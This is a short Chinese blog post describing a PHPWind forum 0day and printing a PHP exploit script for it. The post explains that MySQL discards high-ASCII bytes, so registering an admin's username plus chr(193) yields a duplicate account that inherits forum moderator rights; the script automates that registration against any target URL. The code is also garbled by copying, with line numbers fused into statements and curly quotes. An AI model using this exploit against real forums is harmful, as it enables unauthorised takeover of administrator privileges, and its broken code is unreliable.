夜火这2天漏洞真多啊,昨天刚发了[phpwind 0day 管理权限泄露漏洞 + exploit 利用程序](/blog/phpwind-usertoattack-0day-exploit “phpwind 0day 管理权限泄露漏洞 + exploit 利用程序”,里面给的是python的exploit,今天来了个PHP的
漏洞原因是Mysql会舍弃没有用处的ASCII129-255,搜了资料也没有找到为什么,PhpWind最大失误不是程序,而是没有把username设为唯一。
可以构造一个和某个管理人员名字一样的ID再加上一个无效的ASCII码进行注册,表中会出现二个一样的用户名,而forums.forumadmin字段里存的用户名,这样就可获得全部的前台权限。
使用PHP构造的测试代码。
1<?php2if (empty($_GET['sub'])) {3 print <<<EOT method="get" action="" <form>4<INPUT name=url>5<INPUT name=regname>6<INPUT type=submit value=提交 name=sub>`7
8`EOT;9} else {10 extract($_GET);11 $regname .= chr(193);12 $data = array(13 ‘regname’ => $regname,14 ‘regpwd’ => 147852,15 ‘regpwdrepeat’ => 147852,13 collapsed lines
16 ‘regemail’ => ‘llll@Ll.com’,17 'regemailtoall’ => 1,18 ’step’ => 219 );`20
21`$url .= ‘/register.php’;22 $includePath = ini_get(’include_path’);23 $includePath .=’;D:wwwpear’;24 ini_set(’include_path’, $includePath);25 include(’HTTP/Client.php’);26 $http = new HTTP_Client();27 var_dump($http->post($url, $data));28}
作者:yuehei 来源:yuehei 两点之间